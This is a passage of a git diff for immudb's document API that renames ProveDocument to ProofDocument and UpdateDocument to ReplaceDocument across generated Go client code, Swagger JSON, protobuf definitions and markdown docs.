ReplaceDocumentJSONRequestBody defines body for ReplaceDocument for application/json ContentType. +type ReplaceDocumentJSONRequestBody = ModelReplaceDocumentRequest // SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest -// UpdateDocumentJSONRequestBody defines body for UpdateDocument for application/json ContentType. -type UpdateDocumentJSONRequestBody = ModelUpdateDocumentRequest - // CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. type CreateIndexJSONRequestBody = ModelCreateIndexRequest @@ -646,21 +646,21 @@ type ClientInterface interface { DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // ProveDocument request with any body - ProveDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // ProofDocument request with any body + ProofDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + ProofDocument(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - ProveDocument(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // ReplaceDocument request with any body + ReplaceDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + ReplaceDocument(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) // SearchDocuments request with any body SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // UpdateDocument request with any body - UpdateDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - UpdateDocument(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // CreateIndex request with any body CreateIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -900,8 +900,8 @@ func (c *Client) DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRe return c.Client.Do(req) } -func (c *Client) ProveDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProveDocumentRequestWithBody(c.Server, contentType, body) +func (c *Client) ProofDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -912,8 +912,8 @@ func (c *Client) ProveDocumentWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) ProveDocument(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProveDocumentRequest(c.Server, body) +func (c *Client) ProofDocument(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequest(c.Server, body) if err != nil { return nil, err } @@ -924,8 +924,8 @@ func (c *Client) ProveDocument(ctx context.Context, body ProveDocumentJSONReques return c.Client.Do(req) } -func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequestWithBody(c.Server, contentType, body) +func (c *Client) ReplaceDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -936,8 +936,8 @@ func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string return c.Client.Do(req) } -func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequest(c.Server, body) +func (c *Client) ReplaceDocument(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentRequest(c.Server, body) if err != nil { return nil, err } @@ -948,8 +948,8 @@ func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRe return c.Client.Do(req) } -func (c *Client) UpdateDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateDocumentRequestWithBody(c.Server, contentType, body) +func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -960,8 +960,8 @@ func (c *Client) UpdateDocumentWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) UpdateDocument(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateDocumentRequest(c.Server, body) +func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequest(c.Server, body) if err != nil { return nil, err } @@ -1435,19 +1435,19 @@ func NewDeleteDocumentsRequestWithBody(server string, contentType string, body i return req, nil } -// NewProveDocumentRequest calls the generic ProveDocument builder with application/json body -func NewProveDocumentRequest(server string, body ProveDocumentJSONRequestBody) (*http.Request, error) { +// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body +func NewProofDocumentRequest(server string, body ProofDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewProveDocumentRequestWithBody(server, "application/json", bodyReader) + return NewProofDocumentRequestWithBody(server, "application/json", bodyReader) } -// NewProveDocumentRequestWithBody generates requests for ProveDocument with any type of body -func NewProveDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body +func NewProofDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1455,7 +1455,7 @@ func NewProveDocumentRequestWithBody(server string, contentType string, body io. return nil, err } - operationPath := fmt.Sprintf("/documents/prove") + operationPath := fmt.Sprintf("/documents/proof") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1475,19 +1475,19 @@ func NewProveDocumentRequestWithBody(server string, contentType string, body io. return req, nil } -// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body -func NewSearchDocumentsRequest(server string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { +// NewReplaceDocumentRequest calls the generic ReplaceDocument builder with application/json body +func NewReplaceDocumentRequest(server string, body ReplaceDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewSearchDocumentsRequestWithBody(server, "application/json", bodyReader) + return NewReplaceDocumentRequestWithBody(server, "application/json", bodyReader) } -// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body -func NewSearchDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewReplaceDocumentRequestWithBody generates requests for ReplaceDocument with any type of body +func NewReplaceDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1495,7 +1495,7 @@ func NewSearchDocumentsRequestWithBody(server string, contentType string, body i return nil, err } - operationPath := fmt.Sprintf("/documents/search") + operationPath := fmt.Sprintf("/documents/replace") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1505,7 +1505,7 @@ func NewSearchDocumentsRequestWithBody(server string, contentType string, body i return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1515,19 +1515,19 @@ func NewSearchDocumentsRequestWithBody(server string, contentType string, body i return req, nil } -// NewUpdateDocumentRequest calls the generic UpdateDocument builder with application/json body -func NewUpdateDocumentRequest(server string, body UpdateDocumentJSONRequestBody) (*http.Request, error) { +// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body +func NewSearchDocumentsRequest(server string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewUpdateDocumentRequestWithBody(server, "application/json", bodyReader) + return NewSearchDocumentsRequestWithBody(server, "application/json", bodyReader) } -// NewUpdateDocumentRequestWithBody generates requests for UpdateDocument with any type of body -func NewUpdateDocumentRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body +func NewSearchDocumentsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1535,7 +1535,7 @@ func NewUpdateDocumentRequestWithBody(server string, contentType string, body io return nil, err } - operationPath := fmt.Sprintf("/documents/update") + operationPath := fmt.Sprintf("/documents/search") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1545,7 +1545,7 @@ func NewUpdateDocumentRequestWithBody(server string, contentType string, body io return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1727,21 +1727,21 @@ type ClientWithResponsesInterface interface { DeleteDocumentsWithResponse(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) - // ProveDocument request with any body - ProveDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) + // ProofDocument request with any body + ProofDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + + ProofDocumentWithResponse(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + + // ReplaceDocument request with any body + ReplaceDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) - ProveDocumentWithResponse(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) + ReplaceDocumentWithResponse(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) // SearchDocuments request with any body SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - // UpdateDocument request with any body - UpdateDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) - - UpdateDocumentWithResponse(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) - // CreateIndex request with any body CreateIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) @@ -2006,15 +2006,15 @@ func (r DeleteDocumentsResponse) StatusCode() int { return 0 } -type ProveDocumentResponse struct { +type ProofDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelProveDocumentResponse + JSON200 *ModelProofDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ProveDocumentResponse) Status() string { +func (r ProofDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2022,22 +2022,22 @@ func (r ProveDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ProveDocumentResponse) StatusCode() int { +func (r ProofDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type SearchDocumentsResponse struct { +type ReplaceDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelSearchDocumentsResponse + JSON200 *ModelReplaceDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r SearchDocumentsResponse) Status() string { +func (r ReplaceDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2045,22 +2045,22 @@ func (r SearchDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r SearchDocumentsResponse) StatusCode() int { +func (r ReplaceDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type UpdateDocumentResponse struct { +type SearchDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelUpdateDocumentResponse + JSON200 *ModelSearchDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r UpdateDocumentResponse) Status() string { +func (r SearchDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2068,7 +2068,7 @@ func (r UpdateDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r UpdateDocumentResponse) StatusCode() int { +func (r SearchDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2284,55 +2284,55 @@ func (c *ClientWithResponses) DeleteDocumentsWithResponse(ctx context.Context, b return ParseDeleteDocumentsResponse(rsp) } -// ProveDocumentWithBodyWithResponse request with arbitrary body returning *ProveDocumentResponse -func (c *ClientWithResponses) ProveDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) { - rsp, err := c.ProveDocumentWithBody(ctx, contentType, body, reqEditors...) +// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse +func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocumentWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseProveDocumentResponse(rsp) + return ParseProofDocumentResponse(rsp) } -func (c *ClientWithResponses) ProveDocumentWithResponse(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) { - rsp, err := c.ProveDocument(ctx, body, reqEditors...) +func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocument(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseProveDocumentResponse(rsp) + return ParseProofDocumentResponse(rsp) } -// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse -func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocumentsWithBody(ctx, contentType, body, reqEditors...) +// ReplaceDocumentWithBodyWithResponse request with arbitrary body returning *ReplaceDocumentResponse +func (c *ClientWithResponses) ReplaceDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) { + rsp, err := c.ReplaceDocumentWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseSearchDocumentsResponse(rsp) + return ParseReplaceDocumentResponse(rsp) } -func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { - rsp, err := c.SearchDocuments(ctx, body, reqEditors...) +func (c *ClientWithResponses) ReplaceDocumentWithResponse(ctx context.Context, body ReplaceDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ReplaceDocumentResponse, error) { + rsp, err := c.ReplaceDocument(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseSearchDocumentsResponse(rsp) + return ParseReplaceDocumentResponse(rsp) } -// UpdateDocumentWithBodyWithResponse request with arbitrary body returning *UpdateDocumentResponse -func (c *ClientWithResponses) UpdateDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) { - rsp, err := c.UpdateDocumentWithBody(ctx, contentType, body, reqEditors...) +// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse +func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocumentsWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseUpdateDocumentResponse(rsp) + return ParseSearchDocumentsResponse(rsp) } -func (c *ClientWithResponses) UpdateDocumentWithResponse(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) { - rsp, err := c.UpdateDocument(ctx, body, reqEditors...) +func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocuments(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseUpdateDocumentResponse(rsp) + return ParseSearchDocumentsResponse(rsp) } // CreateIndexWithBodyWithResponse request with arbitrary body returning *CreateIndexResponse @@ -2732,22 +2732,22 @@ func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, return response, nil } -// ParseProveDocumentResponse parses an HTTP response from a ProveDocumentWithResponse call -func ParseProveDocumentResponse(rsp *http.Response) (*ProveDocumentResponse, error) { +// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call +func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ProveDocumentResponse{ + response := &ProofDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelProveDocumentResponse + var dest ModelProofDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2765,22 +2765,22 @@ func ParseProveDocumentResponse(rsp *http.Response) (*ProveDocumentResponse, err return response, nil } -// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call -func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { +// ParseReplaceDocumentResponse parses an HTTP response from a ReplaceDocumentWithResponse call +func ParseReplaceDocumentResponse(rsp *http.Response) (*ReplaceDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &SearchDocumentsResponse{ + response := &ReplaceDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelSearchDocumentsResponse + var dest ModelReplaceDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2798,22 +2798,22 @@ func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, return response, nil } -// ParseUpdateDocumentResponse parses an HTTP response from a UpdateDocumentWithResponse call -func ParseUpdateDocumentResponse(rsp *http.Response) (*UpdateDocumentResponse, error) { +// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call +func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &UpdateDocumentResponse{ + response := &SearchDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelUpdateDocumentResponse + var dest ModelSearchDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index d67a0187b0..64f28cfd11 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -348,14 +348,14 @@ ] } }, - "/documents/prove": { + "/documents/proof": { "post": { - "operationId": "ProveDocument", + "operationId": "ProofDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelProveDocumentResponse" + "$ref": "#/definitions/modelProofDocumentResponse" } }, "default": { @@ -371,7 +371,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelProveDocumentRequest" + "$ref": "#/definitions/modelProofDocumentRequest" } } ], @@ -380,14 +380,14 @@ ] } }, - "/documents/search": { - "post": { - "operationId": "SearchDocuments", + "/documents/replace": { + "put": { + "operationId": "ReplaceDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelSearchDocumentsResponse" + "$ref": "#/definitions/modelReplaceDocumentResponse" } }, "default": { @@ -403,7 +403,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequest" + "$ref": "#/definitions/modelReplaceDocumentRequest" } } ], @@ -412,14 +412,14 @@ ] } }, - "/documents/update": { - "put": { - "operationId": "UpdateDocument", + "/documents/search": { + "post": { + "operationId": "SearchDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelUpdateDocumentResponse" + "$ref": "#/definitions/modelSearchDocumentsResponse" } }, "default": { @@ -435,7 +435,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelUpdateDocumentRequest" + "$ref": "#/definitions/modelSearchDocumentsRequest" } } ], @@ -839,7 +839,7 @@ } } }, - "modelProveDocumentRequest": { + "modelProofDocumentRequest": { "type": "object", "properties": { "collection": { @@ -858,7 +858,7 @@ } } }, - "modelProveDocumentResponse": { + "modelProofDocumentResponse": { "type": "object", "properties": { "database": { @@ -911,6 +911,33 @@ } } }, + "modelReplaceDocumentRequest": { + "type": "object", + "properties": { + "query": { + "$ref": "#/definitions/modelQuery" + }, + "document": { + "type": "object" + } + } + }, + "modelReplaceDocumentResponse": { + "type": "object", + "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "documentId": { + "type": "string" + }, + "revision": { + "type": "string", + "format": "uint64" + } + } + }, "modelSearchDocumentsRequest": { "type": "object", "properties": { @@ -958,33 +985,6 @@ "modelUpdateCollectionResponse": { "type": "object" }, - "modelUpdateDocumentRequest": { - "type": "object", - "properties": { - "query": { - "$ref": "#/definitions/modelQuery" - }, - "document": { - "type": "object" - } - } - }, - "modelUpdateDocumentResponse": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentId": { - "type": "string" - }, - "revision": { - "type": "string", - "format": "uint64" - } - } - }, "protobufAny": { "type": "object", "properties": { diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index eacf5c081c..e456ba3c3b 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -133,12 +133,12 @@ message InsertDocumentsResponse { repeated string documentIds = 2; } -message UpdateDocumentRequest { +message ReplaceDocumentRequest { Query query = 1; google.protobuf.Struct document = 2; } -message UpdateDocumentResponse { +message ReplaceDocumentResponse { uint64 transactionId = 1; string documentId = 2; uint64 revision = 3; @@ -211,14 +211,14 @@ message AuditDocumentResponse { repeated DocumentAtRevision revisions = 1; } -message ProveDocumentRequest { +message ProofDocumentRequest { string collection = 1; string documentId = 2; uint64 transactionId = 3; uint64 proofSinceTransactionId = 4; } -message ProveDocumentResponse { +message ProofDocumentResponse { string database = 1; uint32 collectionId = 2; string idFieldName = 3; @@ -311,9 +311,9 @@ service DocumentService { }; } - rpc UpdateDocument(UpdateDocumentRequest) returns (UpdateDocumentResponse) { + rpc ReplaceDocument(ReplaceDocumentRequest) returns (ReplaceDocumentResponse) { option (google.api.http) = { - put: "/documents/update" + put: "/documents/replace" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -357,9 +357,9 @@ service DocumentService { }; } - rpc ProveDocument(ProveDocumentRequest) returns (ProveDocumentResponse) { + rpc ProofDocument(ProofDocumentRequest) returns (ProofDocumentResponse) { option (google.api.http) = { - post: "/documents/prove" + post: "/documents/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 958efe8e33..da638aa2fd 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -39,16 +39,16 @@ - [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) - [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) - [OrderByClause](#immudb.model.OrderByClause) - - [ProveDocumentRequest](#immudb.model.ProveDocumentRequest) - - [ProveDocumentResponse](#immudb.model.ProveDocumentResponse) + - [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) + - [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) + - [ReplaceDocumentRequest](#immudb.model.ReplaceDocumentRequest) + - [ReplaceDocumentResponse](#immudb.model.ReplaceDocumentResponse) - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) - [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) - [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) - [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) - - [UpdateDocumentRequest](#immudb.model.UpdateDocumentRequest) - - [UpdateDocumentResponse](#immudb.model.UpdateDocumentResponse) - [ComparisonOperator](#immudb.model.ComparisonOperator) - [FieldType](#immudb.model.FieldType) @@ -538,9 +538,9 @@ - + -### ProveDocumentRequest +### ProofDocumentRequest @@ -556,9 +556,9 @@ - + -### ProveDocumentResponse +### ProofDocumentResponse @@ -607,93 +607,93 @@ - + -### SearchDocumentsRequest +### ReplaceDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchId | [string](#string) | | | | query | [Query](#immudb.model.Query) | | | -| page | [uint32](#uint32) | | | -| pageSize | [uint32](#uint32) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + -### SearchDocumentsResponse +### ReplaceDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchId | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| transactionId | [uint64](#uint64) | | | +| documentId | [string](#string) | | | +| revision | [uint64](#uint64) | | | - + -### UpdateCollectionRequest +### SearchDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| idFieldName | [string](#string) | | | +| searchId | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | +| page | [uint32](#uint32) | | | +| pageSize | [uint32](#uint32) | | | - + -### UpdateCollectionResponse +### SearchDocumentsResponse +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| searchId | [string](#string) | | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - -### UpdateDocumentRequest + +### UpdateCollectionRequest -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| query | [Query](#immudb.model.Query) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | - -### UpdateDocumentResponse + +### UpdateCollectionResponse -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| documentId | [string](#string) | | | -| revision | [uint64](#uint64) | | | @@ -753,11 +753,11 @@ | CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | | DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) | | | InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) | | -| UpdateDocument | [UpdateDocumentRequest](#immudb.model.UpdateDocumentRequest) | [UpdateDocumentResponse](#immudb.model.UpdateDocumentResponse) | | +| ReplaceDocument | [ReplaceDocumentRequest](#immudb.model.ReplaceDocumentRequest) | [ReplaceDocumentResponse](#immudb.model.ReplaceDocumentResponse) | | | DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) | | | SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) | | | AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) | | -| ProveDocument | [ProveDocumentRequest](#immudb.model.ProveDocumentRequest) | [ProveDocumentResponse](#immudb.model.ProveDocumentResponse) | | +| ProofDocument | [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) | 